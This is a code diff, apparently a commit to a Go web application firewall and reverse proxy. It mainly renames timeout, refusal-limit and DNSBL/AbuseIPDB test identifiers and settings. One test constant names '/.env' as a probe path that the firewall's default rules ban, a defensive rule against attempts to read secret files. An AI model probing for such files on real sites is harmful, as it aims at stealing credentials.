timeoutSetting: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1356,7 +1367,9 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, greet)
|
||||
@@ -1374,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
timeoutSetting: "200",
|
||||
wafBackendTimeout: "200",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1438,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
timeoutSetting: "60000",
|
||||
wafBackendTimeout: "60000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1481,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
// The time limit is long enough for a loaded host to answer the question before
|
||||
// it runs out.
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
timeoutSetting: "3000",
|
||||
wafBackendTimeout: "3000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1511,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
timeoutSetting: "60000",
|
||||
wafBackendTimeout: "60000",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1599,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
backend.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
timeoutSetting: "5000",
|
||||
wafBackendTimeout: "5000",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@@ -16,10 +16,10 @@ import (
|
||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||
// requests until ctx is done. Then it gives the requests in progress
|
||||
// shutdownTimeout to finish, and the reports being sent
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It
|
||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||
// messages name the host's name as instance, and it writes those at info or
|
||||
// more severe: rproxy has no setting for either.
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
||||
// when rproxy cannot start. Its process messages name the host's name as
|
||||
// instance, and it writes those at info or more severe: rproxy has no
|
||||
// setting for either.
|
||||
func RunRProxy(ctx context.Context, params Params) int {
|
||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||
processLog := requestlog.NewProcessLogger(
|
||||
|
||||
@@ -31,8 +31,8 @@ const (
|
||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||
// rproxyUpstreamURL is the setting that says where the app is.
|
||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// bannedProbe is a path the default rule file bans a client for.
|
||||
bannedProbe = "/.env"
|
||||
// otherClient is a client the tests do not ban.
|
||||
@@ -241,7 +241,8 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
||||
forwardTo("")
|
||||
stop()
|
||||
|
||||
// With waf down, the site answers, and rproxy says the default did it.
|
||||
// With waf down, the site answers, and rproxy says
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||
|
||||
line := out.line(t, "path", "/after-stop")
|
||||
@@ -691,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
||||
env := map[string]string{
|
||||
rproxyListenAddr: localhost + ":0",
|
||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||
rproxyTimeout: "60000",
|
||||
wafBackendTimeout: "60000",
|
||||
wafBackend: backend.URL,
|
||||
}
|
||||
out := &output{}
|
||||
@@ -855,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
||||
}{
|
||||
{"no backend", wafBackend, nil},
|
||||
{
|
||||
"another invalid", rproxyTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||
"another invalid", wafBackendTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
|
||||
+5
-5
@@ -340,11 +340,11 @@ func newAlertQueue(
|
||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||
return remotelog.New(remotelog.Params{
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
Buffer: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
BufferLines: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
||||
Scheme: remotelog.SchemeTCP,
|
||||
Host: "127.0.0.1:65536",
|
||||
},
|
||||
Buffer: 1,
|
||||
BufferLines: 1,
|
||||
})
|
||||
|
||||
stopSending := startSending(t.Context(), sender,
|
||||
|
||||
@@ -602,7 +602,7 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
@@ -34,8 +34,8 @@ const (
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// defaultReputationWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||
defaultReputationWait = 2 * time.Second
|
||||
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||
defaultDNSBLAbuseIPDBWait = 2 * time.Second
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
headerFieldLimit = 100
|
||||
@@ -656,8 +656,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
@@ -780,7 +781,8 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// network inside it would keep its clock from moving on.
|
||||
go server.Lists.Run(t.Context())
|
||||
|
||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
||||
// In the bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||
// answer takes exactly as long as waf waits, however busy the host is.
|
||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||
@@ -842,7 +844,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
||||
// before the bubble ends.
|
||||
releaseResolver()
|
||||
time.Sleep(defaultReputationWait)
|
||||
time.Sleep(defaultDNSBLAbuseIPDBWait)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -20,8 +20,8 @@ type percentage struct {
|
||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
|
||||
// before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
||||
len(cfg.CountryBytesLimitPercent) > 0 ||
|
||||
@@ -70,10 +70,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
}
|
||||
|
||||
reputationListed := percentage{percent: whole}
|
||||
dnsblAbuseIPDBListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||
cfg.DNSBLAbuseIPDBAction == "limit" {
|
||||
reputationListed = percentage{
|
||||
dnsblAbuseIPDBListed = percentage{
|
||||
cfg.DNSBLAbuseIPDBLimitPercent,
|
||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
||||
}
|
||||
@@ -120,7 +120,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
|
||||
// The limits that lower requests and bytes alike.
|
||||
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
||||
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
|
||||
|
||||
return lowest(asnRequests, countryRequests, common),
|
||||
lowest(asnBytes, countryBytes, common)
|
||||
|
||||
@@ -150,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -303,7 +303,7 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -330,11 +330,14 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||
// a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownCountryLimitPercent: "0"})
|
||||
@@ -382,8 +385,9 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
|
||||
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
||||
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
|
||||
@@ -276,7 +276,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
||||
wantCoreRuleSet(t, line, nil)
|
||||
}
|
||||
|
||||
func TestAnomalyThreshold(t *testing.T) {
|
||||
func TestCoreRuleSetScoreThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A score under the threshold, or with the threshold off, is logged,
|
||||
@@ -526,7 +526,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
|
||||
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -582,7 +582,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
|
||||
)
|
||||
}
|
||||
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
|
||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -438,7 +438,9 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
||||
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
// The test runs in a synctest bubble, where the time package runs on a
|
||||
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// heuristics skip, is not counted, and nothing is while the limit is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
|
||||
@@ -48,15 +48,15 @@ func (r refused) send(s *sender, from string) logLine {
|
||||
return logLine{}
|
||||
}
|
||||
|
||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
|
||||
func startForErrorBurst(
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
|
||||
func startForRefusalLimit(
|
||||
t *testing.T, limit string, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
refusalsLimitPerMinute: threshold,
|
||||
refusalsLimitPerMinute: limit,
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
}
|
||||
@@ -65,12 +65,12 @@ func startForErrorBurst(
|
||||
return startWithClock(t, "", settings)
|
||||
}
|
||||
|
||||
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
// refusals are four, one over the threshold of three.
|
||||
// refusals are four, one over the limit of three.
|
||||
refusals []refused
|
||||
// nextAction is the action of the client's next request: the next
|
||||
// request after a ban for a ban rule makes it permanent.
|
||||
@@ -90,7 +90,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "3", nil)
|
||||
s, _, _ := startForRefusalLimit(t, "3", nil)
|
||||
|
||||
// Three refusals break nothing, and the app's answers between
|
||||
// them are not counted.
|
||||
@@ -109,8 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// The fourth is answered as the others were, breaks the error
|
||||
// burst, and bans the client.
|
||||
// The fourth is answered as the others were, breaks the refusal
|
||||
// limit, and bans the client.
|
||||
line := tc.refusals[3].send(s, client)
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||
line.Offence != requestlog.OffenceLimit {
|
||||
@@ -130,7 +130,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "1", nil)
|
||||
s, _, _ := startForRefusalLimit(t, "1", nil)
|
||||
|
||||
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
|
||||
|
||||
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
`{"window": "minute", "count": 2, "limit": 1}`)
|
||||
}
|
||||
|
||||
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startForErrorBurst(t, "2", nil)
|
||||
s, clk, server := startForRefusalLimit(t, "2", nil)
|
||||
start := clk.Now()
|
||||
|
||||
blockRule.send(s, client)
|
||||
@@ -221,7 +221,7 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
@@ -232,7 +232,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
})
|
||||
|
||||
// Half of the threshold would be one, which the second refusal is over.
|
||||
// Half of the limit would be one, which the second refusal is over.
|
||||
for range 2 {
|
||||
line := blockRule.send(s, fromDE)
|
||||
if line.LimitHit != "" {
|
||||
@@ -252,7 +252,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
statuses := map[string]int{
|
||||
@@ -277,7 +277,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// The first refusal is one, not over the threshold.
|
||||
// The first refusal is one, not over the limit.
|
||||
line := blockRule.send(s, client)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
@@ -293,23 +293,23 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
wantAlerts(t, queue)
|
||||
}
|
||||
|
||||
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
||||
func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
threshold string
|
||||
limit string
|
||||
// broken is whether the 31st refusal breaks the refusal limit.
|
||||
broken bool
|
||||
}{
|
||||
{"", true},
|
||||
{off, false},
|
||||
} {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
||||
if tc.threshold != "" {
|
||||
env[refusalsLimitPerMinute] = tc.threshold
|
||||
if tc.limit != "" {
|
||||
env[refusalsLimitPerMinute] = tc.limit
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
@@ -331,7 +331,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
@@ -339,7 +339,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
||||
s, _, _ := startForRefusalLimit(t, "1", map[string]string{
|
||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||
})
|
||||
|
||||
@@ -367,10 +367,10 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startForErrorBurst(
|
||||
s, clk, _ := startForRefusalLimit(
|
||||
t,
|
||||
"1",
|
||||
map[string]string{limitBanDuration: "1s"},
|
||||
@@ -389,7 +389,7 @@ func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
||||
func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
|
||||
@@ -432,7 +432,7 @@ const (
|
||||
noResolver = "127.0.0.1:9"
|
||||
)
|
||||
|
||||
func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
||||
@@ -617,7 +617,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
||||
}
|
||||
}
|
||||
|
||||
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||
func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -989,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -811,7 +811,7 @@ func TestObserveModeAllowsAndLogsWhatEnforceModeWouldHaveDone(t *testing.T) {
|
||||
wantWouldAction(t, line, requestlog.ActionClientDenied)
|
||||
}
|
||||
|
||||
func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(
|
||||
func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -837,7 +837,7 @@ func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeniedQuestionCountsForTheErrorBurst(t *testing.T) {
|
||||
func TestDeniedQuestionCountsForTheRefusalLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{
|
||||
|
||||
Reference in new issue
Block a user